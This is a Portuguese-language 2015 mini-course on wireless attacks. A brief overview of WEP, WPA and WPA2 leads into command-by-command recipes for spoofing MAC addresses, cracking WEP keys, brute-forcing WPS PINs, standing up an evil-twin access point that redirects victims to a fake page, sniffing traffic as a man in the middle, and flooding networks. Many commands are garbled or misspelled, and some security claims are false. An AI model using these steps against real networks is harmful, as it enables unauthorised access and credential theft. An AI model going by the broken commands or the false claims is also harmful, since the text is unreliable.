Mini-curso Vulnerabilidades em Redes Wireless Junho 2015 Guilherme Junqueira Solyd - CaveiraTech
1. Introdução à criptografia em redes sem fio Você está todo feliz, pois acaba de comprar o seu roteador WiFi e finalmente vai poder compartilhar sua internet pela casa toda, para usar em seu vídeo game, celular, notebook e qualquer outro dispositivo. Quando receber os amigos em casa, todos vão poder subir fotos para o Facebook ou Instagram sem depender da conexão 3G. Mas, na hora de configurar, vem a dúvida: o que são todas aquelas siglas e protocolos de segurança? No momento de configurar a rede, você vai se deparar com os termos WEP, WPA e WPA2. Na ordem, estamos falando de padrões do mais antigo para o mais recente, e essa sequência história também é refletida em termos de segurança. Quanto mais novo o sistema, mais protegidos estarão os seus dados e conexão. Então, o que quer dizer cada sigla dessa sopa de letrinhas? WEP: Wired Equivalent Privacy O algoritmo de segurança que já foi o mais usado do mundo foi criado em 1999 e é compatível com praticamente todos os dispositivos WiFi disponíveis no mercado. Justamente por ser tão popular, é também o mais sujeito a falhas de segurança e o que possui mais buracos conhecidos. O padrão WEP se torna mais inseguro à medida que o poder de processamento dos computadores aumenta. Por ser um sistema de segurança de 128 bits (fator que define os caracteres possíveis, ou seja, o número máximo de combinações de senha), é possível descobrir a palavra-passe de uma rede WiFi desse tipo em poucos minutos por meio de um software de ataques. Oficialmente, o WEP não é considerado um padrão desde 2004, quando a Wi-Fi Alliance associação que certifica produtos sem fio e promove a tecnologia encerrou o suporte a ele. É altamente recomendado que você não use esse protocolo. WPA: Wi-Fi Protected Access Quando o WEP saiu de circulação, o WPA entrou em seu lugar como o protocolo-padrão da indústria. Adotado formalmente em 2003, a novidade trazia encriptação 256 bits e uma segurança muito maior para as redes. Além disso, sistemas de análise de pacotes para verificar alterações e invasões e outras ferramentas foram implementadas para melhorar a segurança. O problema aqui é que a arquitetura WPA foi produzida de forma a não tornar os dispositivos WEP obsoletos, e sim atualizáveis. Com isso, uma série de elementos do protocolo antigo foi reaproveitada e, com ela, diversos dos problemas do antecessor também acabaram presentes na nova versão. A descoberta de senhas por meio de processamento também é uma ameaça aqui, mas não acontece exatamente da mesma maneira que no antecessor. Em vez de usar a força bruta para descobrir senhas, os criminosos podem atingir sistemas suplementares, herdados do protocolo WEP, que servem para facilitar a configuração e conexão entre dispositivos antigos e modernos.
WPA2: Wi-Fi Protected Acces II O sistema-padrão atual e também o mais seguro, implementado pela Wi-Fi Alliance em 2006. A diferença aqui é a maneira como o sistema lida com senhas e algoritmos, excluindo completamente a possibilidade de um ataque de força bruta. Sendo assim, esse é o tipo mais seguro da atualidade. Segundo especialistas, o risco de intrusões para usuários domésticos com WPA2 é praticamente zero. Isso se deve a duas outras siglas incompreensíveis. O AES (Advanced Encryption Standard), um novo padrão para a segurança das informações, e o CCMP (Counter Cipher Mode), um mecanismo de encriptação que protege os dados que passam pela rede. Uma das poucas vulnerabilidades conhecidas atinge diretamente usuários corporativos e exige que o atacante possua acesso normal à rede sem fio. Uma vez conectado, o hacker poderia assumir o controle de outros dispositivos ligados à rede, incluindo dados contidos neles ou transferidos a partir das máquinas. Mais uma vez, isso se deve a programações de compatibilidade para ligação de roteadores antigos e modernos.
2. Endereço MAC O Endereço MAC (Media Access Control) é um endereço físico associado à interface de comunicação, que conecta um dispositivo à rede. O MAC é um endereço único, não havendo duas portas com a mesma numeração, e usado para controle de acesso em redes de computadores. Sua identificação é gravada em hardware, isto é, na memória ROM da placa de rede de equipamentos como desktops, notebooks, roteadores, smartphones, tablets, impressoras de rede, etc. 2.1. Controlando o Endereço MAC 2.1.1. Sistema Linux Mudando seu MAC Address: wlan0 down #macchanger r wlan0 wlan0 up //Desliga a placa de rede //Muda o MAC para um endereço randômico //Liga a placa de rede 2.1.2. Sistema Windows Utilizar programa TMACv6. Várias restrições são encontradas. Uso não recomendado. 3. Quebrando a criptografia WEP 3.1. Método 1 Com clientes conectados Caso seja necessário faça o MAC Spoofing
Monitorando uma rede especifica e gravando logs #airodump-ng w <nome_do_arquivo_de_log> c <canal> --bssid <bssid_atacado> mon0 Arrumando BUG: fixed channel: -1 Parar o monitoramento anterior Desligar o dispositivo wlan0 wlan0 down Para contornar o bug fixed channel: -1 também pode ser utilizado o parâmetro --ignororenegative-one na frente dos comandos. Reiniciar o monitoramento #airodump-ng w <nome_do_arquivo_de_log> c <canal> --bssid <bssid_atacado> mon0 Fazendo Handshake #aireplay-ng -1 0 a <bssid_atacado> -e <essid_atacado> mon0 Injetando Pacotes #aireplay-ng -3 b <bssid_atacado> mon0 Crackeando a senha #aircrack-ng <nome_do_arquivo_de_log>-01.cap Só esperar e ser feliz com sua senha Não se esqueça de reativar a interface wlan0 e de desativar a interface mon0 wlan0 up #airmon-ng stop mon0 Lembrando que este método precisa que haja clientes conectados à rede e que estes façam trocas de pacotes ARP, caso não haja clientes e nem trocas de pacotes ARP, use o método 2 de ataque. 3.2. Método 2 Sem clientes Para que este método funcione não poderá haver clientes conectados à rede. Iremos forjar um pacote ARP e replicá-lo na rede. Caso seja necessário faça o MAC Spoofing Monitorando uma rede especifica e gravando logs #airodump-ng w <nome_do_arquivo_de_log> c <canal> --bssid <bssid_atacado> mon0 Fazendo Handshake (Falsa autenticação) #aireplay-ng -1 0 a <bssid_atacado> -e <essid_atacado> mon0
Fazendo Chopchop para obter PGRA #aireplay-ng -5 -b <bsssid> mon0 Forjando o pacote ARP através do PGRA criado #packetforge-ng -0 -a <bssid_atacado> -h <MAC da placa atacante> -k 255.255.255.255 -l 255.255.255.255 y <arquivo criado com o chopchop.xor> -w arp-request Injetando pacotes ARP forjados aireplay-ng -2 -r arp-request ath0 Crackeando a senha #aircrack-ng <nome_do_arquivo_de_log>-01.cap Alternativamente pode ser utilizado um comando que substitui todas as etapas anteriores mas pode ser mais demorado. Método p0841 # aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <bssid atacado> -h <MAC da placa atacante> mon0 4. Buscando redes WPA com WPS Comando wash #wash i mon0 Busque por redes que tenha NO no WPS Locked. 5. Quebrando redes WPA/WPA2 com WPS Caso seja necessário faça o MAC Spoofing Crackeando a senha com Bully #bully b <bssid> -c <canal> mon0 Seja feliz com sua senha! Hehehe. Obs.: Forçando um PIN: #bully b <bssid> -c <canal> -p <pin_inicial> -B --force mon0
6. Quebrando redes WPS com Pixel Dust Fazendo update no Reaver #apt-get update #apt-get install reaver Caso seja necessário faça o MAC Spoofing Crackeando a senha com Bully #reaver b <bssid> -c <canal> -K 1 -i mon0 7. TwinEvil Ataque Passar a Rede para modo Bridge na VM Ativar modo monitor #airmon-ng start wlan0 Download OUI File (Arquivo com fabricantes de roteadores) - Opcional #airodump-ng-oui-update Rastreando conexões #airodump-ng M mon0 Criando o falso AP #airbase e <nome_da_rede_falsa> -c <canal> -P mon0 Configurar IP em at0 at0 up at0 192.168.2.1/24 Adicionar Routing Table #route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 Instalando Servidor DHCP #apt-get install dhcp3-server Configuran DHCP server #nano /etc/dhcpd.conf
Configure o arquivo dhcpd.conf: authoritative; default-lease-time 600; max-lease-time 7200; subnet 192.168.2.0 netmask 255.255.255.0 { option subnet-mask 255.255.255.0; option broadcast-address 192.168.2.255; option routers 192.168.2.1; option domain-name-servers 8.8.8.8; range 192.168.2.100 192.168.2.175; } Iniciar servidor DHCP #dhcpd cf /etc/dhcpd.conf pf /var/run/dhcpd.pid at0 #/etc/init.d/isc-dhcp-server start Habilitar IP Fowarding #echo 1 > /proc/sys/net/ipv4/ip_foward Pegar IP local #ip route Configure o IPTables de acordo com o ataque desejado Ataque 1 - Evil Twin: #iptables --flush #iptables --table nat --flush #iptables --delete-chain #ptables --table nat --delete-chain #iptables --table nat --append POSTROUTNG --out-interface eth0 j MARQUERADE #iptables --append FORWARD --in-interface at0 j ACCEPT #iptables t nat A PREROUTING p tcp --dport 80 j DNAT --to-destination <ip local>:80 #iptables t nat A POSTROUTING j MASQUERADE Ativar servidor apache e mysql #service apache2 start #service mysql start Configurar a página web na pasta: #cd /var/www/ Ataque 2 - MITM Rogue AP #iptables --flush #iptables --table nat --flush #iptables --delete-chain #iptables --table nat --delete-chain #iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE #iptables --append FORWARD --in-interface at0 -j ACCEPT
Para ler os pacotes no ataque MITM basta utilizar o Wireshark ou outra ferramenta para monitorar a interface at0 8. Ataques DoS Para efetuar ataques DoS, utilize a ferramenta: #mdk3 Para ataques de desautenticação, pode ser utilizado a ferramenta: #aireplay-ng 9. Referências Solyd Tecnologia em Servidores e Segurança da Informação https://solyd.com.br Canal Caveiratech: https://youtube.com.br/caveiratech Fórum CaveiraTech http://caveiratech.com/forum Documentação Aircrack: http://aircrack-ng.org